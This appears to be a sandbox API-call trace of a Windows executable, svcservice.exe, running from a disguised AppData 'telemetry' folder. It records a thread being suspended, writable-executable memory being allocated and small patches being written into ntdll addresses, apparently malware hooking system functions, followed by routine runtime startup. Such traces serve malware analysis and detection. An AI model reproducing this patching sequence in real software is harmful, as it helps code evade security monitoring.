[0126.971] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.971] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.972] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.973] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.973] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.974] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.975] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.975] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.976] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.977] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0126.977] Thread32Next (hSnapshot=0x170, lpte=0x18e09c) returned 1
[0127.317] OpenThread (dwDesiredAccess=0x2, bInheritHandle=0, dwThreadId=0xda4) returned 0x174
[0127.318] RtlAllocateHeap (HeapHandle=0x2d90000, Flags=0x0, Size=0x4) returned 0x2d90a10
[0127.318] CloseHandle (hObject=0x170) returned 1
[0127.319] SuspendThread (hThread=0x174) returned 0x0
[0127.321] RtlAllocateHeap (HeapHandle=0x2d90000, Flags=0x0, Size=0xc) returned 0x2d90a20
[0127.321] RtlAllocateHeap (HeapHandle=0x2d90000, Flags=0x0, Size=0xa) returned 0x2d90a38
[0127.322] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x76ed0000
[0127.324] RtlAllocateHeap (HeapHandle=0x2d90000, Flags=0x0, Size=0xc) returned 0x2d90a50
[0127.324] RtlAllocateHeap (HeapHandle=0x2d90000, Flags=0x0, Size=0x17) returned 0x2d90a68
[0127.344] RtlAllocateHeap (HeapHandle=0x2d90000, Flags=0x0, Size=0x10) returned 0x2d90a88
[0127.350] GetSystemInfo (in: lpSystemInfo=0x18db50 | out: lpSystemInfo=0x18db50*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x6a06))
[0127.350] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x4e0000
[0127.351] GetCurrentProcess () returned 0xffffffff
[0127.351] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0x4e0005, lpBuffer=0x18db34*, nSize=0x5, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x18db34*, lpNumberOfBytesWritten=0x0) returned 1
[0127.352] GetCurrentProcess () returned 0xffffffff
[0127.352] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0x4e000f, lpBuffer=0x18db74*, nSize=0x6, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x18db74*, lpNumberOfBytesWritten=0x0) returned 1
[0127.353] GetCurrentProcess () returned 0xffffffff
[0127.353] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0x76f471a0, lpBuffer=0x18db34*, nSize=0x5, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x18db34*, lpNumberOfBytesWritten=0x0) returned 1
[0127.355] GetCurrentProcess () returned 0xffffffff
[0127.356] VirtualProtect (in: lpAddress=0x4e0000, dwSize=0x1000, flNewProtect=0x20, lpflOldProtect=0x18db7c | out: lpflOldProtect=0x18db7c*=0x40) returned 1
[0127.356] GetCurrentProcess () returned 0xffffffff
[0127.357] RtlAllocateHeap (HeapHandle=0x2d90000, Flags=0x0, Size=0x4) returned 0x2d90aa0
[0127.361] RtlAllocateHeap (HeapHandle=0x2d90000, Flags=0x0, Size=0xc) returned 0x2d90ab0
[0127.361] RtlAllocateHeap (HeapHandle=0x2d90000, Flags=0x0, Size=0x13) returned 0x2d90ac8
[0127.370] RtlAllocateHeap (HeapHandle=0x2d90000, Flags=0x0, Size=0x10) returned 0x2d90ae8
[0127.371] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x4f0000
[0127.371] GetCurrentProcess () returned 0xffffffff
[0127.371] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0x4f0007, lpBuffer=0x18db34*, nSize=0x5, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x18db34*, lpNumberOfBytesWritten=0x0) returned 1
[0127.371] GetCurrentProcess () returned 0xffffffff
[0127.373] GetCurrentProcess () returned 0xffffffff
[0127.374] GetCurrentProcess () returned 0xffffffff
[0127.374] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0x4f0013, lpBuffer=0x18db74*, nSize=0x6, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x18db74*, lpNumberOfBytesWritten=0x0) returned 1
[0127.374] GetCurrentProcess () returned 0xffffffff
[0127.375] GetCurrentProcess () returned 0xffffffff
[0127.376] GetCurrentProcess () returned 0xffffffff
[0127.376] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0x76f7a1e0, lpBuffer=0x18db34*, nSize=0x5, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x18db34*, lpNumberOfBytesWritten=0x0) returned 1
[0127.376] GetCurrentProcess () returned 0xffffffff
[0127.377] GetCurrentProcess () returned 0xffffffff
[0127.378] VirtualProtect (in: lpAddress=0x4f0000, dwSize=0x1000, flNewProtect=0x20, lpflOldProtect=0x18db7c | out: lpflOldProtect=0x18db7c*=0x40) returned 1
[0127.378] GetCurrentProcess () returned 0xffffffff
[0127.379] RtlAllocateHeap (HeapHandle=0x2d90000, Flags=0x0, Size=0x8) returned 0x2d90b00
[0127.379] HeapFree (in: hHeap=0x2d90000, dwFlags=0x0, lpMem=0x2d90aa0 | out: hHeap=0x2d90000) returned 1
[0127.380] ResumeThread (hThread=0x174) returned 0x1
[0127.381] CloseHandle (hObject=0x174) returned 1
[0127.381] HeapFree (in: hHeap=0x2d90000, dwFlags=0x0, lpMem=0x2d90a10 | out: hHeap=0x2d90000) returned 1
[0127.382] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x18f04c*=0xcfc000, NumberOfBytesToProtect=0x18f044, NewAccessProtection=0x20, OldAccessProtection=0x18f664 | out: BaseAddress=0x18f04c*=0xcfc000, NumberOfBytesToProtect=0x18f044, OldAccessProtection=0x18f664*=0x40) returned 0x0
[0127.442] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x18f04c*=0xcc1000, NumberOfBytesToProtect=0x18f044, NewAccessProtection=0x20, OldAccessProtection=0x18f664 | out: BaseAddress=0x18f04c*=0xcc1000, NumberOfBytesToProtect=0x18f044, OldAccessProtection=0x18f664*=0x40) returned 0x0
[0127.444] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x18f04c*=0xceb000, NumberOfBytesToProtect=0x18f044, NewAccessProtection=0x2, OldAccessProtection=0x18f664 | out: BaseAddress=0x18f04c*=0xceb000, NumberOfBytesToProtect=0x18f044, OldAccessProtection=0x18f664*=0x4) returned 0x0
[0127.445] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x18f04c*=0xd21000, NumberOfBytesToProtect=0x18f044, NewAccessProtection=0x4, OldAccessProtection=0x18f664 | out: BaseAddress=0x18f04c*=0xd21000, NumberOfBytesToProtect=0x18f044, OldAccessProtection=0x18f664*=0x20) returned 0x0
[0127.446] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x18f04c*=0x17ad000, NumberOfBytesToProtect=0x18f044, NewAccessProtection=0x2, OldAccessProtection=0x18f664 | out: BaseAddress=0x18f04c*=0x17ad000, NumberOfBytesToProtect=0x18f044, OldAccessProtection=0x18f664*=0x8) returned 0x0
[0127.448] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1
[0127.449] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x76920000
[0127.449] GetProcAddress (hModule=0x76920000, lpProcName="InitializeCriticalSectionEx") returned 0x769dd740
[0127.449] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x76920000
[0127.449] GetProcAddress (hModule=0x76920000, lpProcName="FlsAlloc") returned 0x769e4490
[0127.449] GetProcAddress (hModule=0x76920000, lpProcName="FlsSetValue") returned 0x769dd7a0
[0127.449] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x76920000
[0127.449] GetProcAddress (hModule=0x76920000, lpProcName="InitializeCriticalSectionEx") returned 0x769dd740
[0127.450] GetProcessHeap () returned 0x5b0000
[0127.450] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-0", hFile=0x0, dwFlags=0x800) returned 0x76920000
[0127.450] GetProcAddress (hModule=0x76920000, lpProcName="FlsAlloc") returned 0x769e4490
[0127.450] GetLastError () returned 0x12
[0127.450] GetProcAddress (hModule=0x76920000, lpProcName="FlsGetValue") returned 0x769cf350
[0127.450] GetProcAddress (hModule=0x76920000, lpProcName="FlsSetValue") returned 0x769dd7a0
[0127.450] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x364) returned 0x5c9070
[0127.450] SetLastError (dwErrCode=0x12)
[0127.450] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0xe00) returned 0x5cb878
[0127.452] GetStartupInfoW (in: lpStartupInfo=0x18f7a8 | out: lpStartupInfo=0x18f7a8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\telemetry\\svcservice.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0))
[0127.452] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0
[0127.452] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0
[0127.452] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0
[0127.452] GetCommandLineA () returned="\"C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\telemetry\\svcservice.exe\" "
[0127.452] GetCommandLineW () returned="\"C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\telemetry\\svcservice.exe\" "
[0127.452] GetACP () returned 0x4e4
[0127.452] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x220) returned 0x5c8010
[0127.452] IsValidCodePage (CodePage=0x4e4) returned 1
[0127.452] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f5a0 | out: lpCPInfo=0x18f5a0) returned 1
[0127.452] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18ee64 | out: lpCPInfo=0x18ee64) returned 1
[0127.452] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f478, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
[0127.452] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f478, cbMultiByte=256, lpWideCharStr=0x18ebf8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256
[0127.452] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18ee78 | out: lpCharType=0x18ee78) returned 1
[0127.452] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f478, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
[0127.452] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f478, cbMultiByte=256, lpWideCharStr=0x18ebb8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256
[0127.452] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x800) returned 0x76920000
[0127.453] GetProcAddress (hModule=0x76920000, lpProcName="LCMapStringEx") returned 0x769c95f0
[0127.453] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256
[0127.453] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18e9a8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256
[0127.453] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchWideChar=256, lpMultiByteStr=0x18f378, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84
\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84
\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿe\x80B ¸õ\x18", lpUsedDefaultChar=0x0) returned 256
[0127.453] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f478, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
[0127.453] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f478, cbMultiByte=256, lpWideCharStr=0x18ebc8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256
[0127.453] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256
[0127.453] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18e9b8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ") returned 256
[0127.453] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ", cchWideChar=256, lpMultiByteStr=0x18f278, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84
\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84
\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84
\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿe\x80B ¸õ\x18", lpUsedDefaultChar=0x0) returned 256
[0127.453] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x5bfa88
[0127.453] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18f5f0, nSize=0x105 | out: lpFilename="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\telemetry\\svcservice.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\telemetry\\svcservice.exe")) returned 0x3e
[0127.453] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x76840000
[0127.453] GetProcAddress (hModule=0x76840000, lpProcName="AreFileApisANSI") returned 0x7685f300
[0127.453] AreFileApisANSI () returned 1
[0127.453] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\telemetry\\svcservice.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 63
